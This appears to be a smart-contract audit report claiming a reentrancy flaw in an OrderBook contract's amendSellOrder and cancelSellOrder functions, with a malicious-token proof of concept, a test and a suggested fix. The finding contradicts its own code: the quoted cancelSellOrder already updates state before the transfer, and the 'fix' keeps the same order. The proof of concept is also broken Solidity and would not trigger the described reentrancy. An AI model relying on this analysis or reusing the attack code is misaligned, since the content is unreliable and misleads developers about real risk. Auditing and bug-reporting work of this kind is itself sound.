Root + Impact
Description
-
The OrderBook contract is designed to facilitate peer-to-peer trading of ERC20 tokens, with sellers listing tokens at their desired price in USDC and buyers purchasing them directly on-chain. The contract should ensure that state changes are made before external calls to prevent reentrancy attacks.
-
The specific issue is that in both the
and
functions, the contract makes external calls to transfer tokens before updating critical contract state. This violates the Checks-Effects-Interactions pattern and creates a potential reentrancy vulnerability that could be exploited by malicious token contracts.
function amendSellOrder(
uint256 _orderId,
uint256 _newAmountToSell,
uint256 _newPriceInUSDC,
uint256 _newDeadlineDuration
) public {
if (_newAmountToSell < order.amountToSell) {
uint256 diff = order.amountToSell - _newAmountToSell;
@> token.safeTransfer(order.seller, diff);
}
@> order.amountToSell = _newAmountToSell;
order.priceInUSDC = _newPriceInUSDC;
order.deadlineTimestamp = newDeadlineTimestamp;
}
function cancelSellOrder(uint256 _orderId) public {
@> order.isActive = false;
@> IERC20(order.tokenToSell).safeTransfer(order.seller, order.amountToSell);
emit OrderCancelled(_orderId, order.seller);
}
Risk
Likelihood:
-
Reason 1: The vulnerability requires a malicious token contract that can execute code during token transfers, which limits the attack surface to non-standard tokens.
-
Reason 2: The standard tokens specified in the contract (wETH, wBTC, wSOL) are unlikely to be malicious, but the contract allows adding new tokens via
.
Impact:
-
Impact 1: An attacker could potentially drain tokens from the contract by recursively calling the vulnerable functions before state updates are applied.
-
Impact 2: The integrity of the order book could be compromised, allowing orders to be manipulated in ways that benefit the attacker at the expense of other users.
Proof of Concept
This proof of concept demonstrates how a
malicious token contract could exploit the
reentrancy vulnerability in the cancelSellOrder() function.
When the function transfers tokens back to the seller,
the malicious token's safeTransfer function calls back into
cancelSellOrder() before the order state is updated, potentially
allowing multiple transfers of the same tokens.
contract MaliciousToken {
OrderBook orderBook;
uint256 orderId;
uint256 callCount;
function safeTransfer(address to, uint256 amount) external returns (bool) {
if (callCount < 2) {
callCount++;
orderBook.cancelSellOrder(orderId);
}
return true;
}
}
function testReentrancyAttack() public {
MaliciousToken token = new MaliciousToken();
token.orderBook = orderBook;
uint256 orderId = orderBook.createSellOrder(address(token), 100e18, 1000e6, 1 days);
token.orderId = orderId;
orderBook.cancelSellOrder(orderId);
}
Recommended Mitigation
Follow the Checks-Effects-Interactions pattern by updating
all state variables before making external calls.Additionally,
consider implementing OpenZeppelin's ReentrancyGuard for extra
protection.
function cancelSellOrder(uint256 _orderId) public {
Order storage order = orders[_orderId];
// Validation checks...
// Store values before state changes
address seller = order.seller;
address tokenToSell = order.tokenToSell;
uint256 amountToSell = order.amountToSell;
// Update state BEFORE external calls
order.isActive = false;
// Make external call AFTER state is updated
IERC20(tokenToSell).safeTransfer(seller, amountToSell);
emit OrderCancelled(_orderId, seller);
}
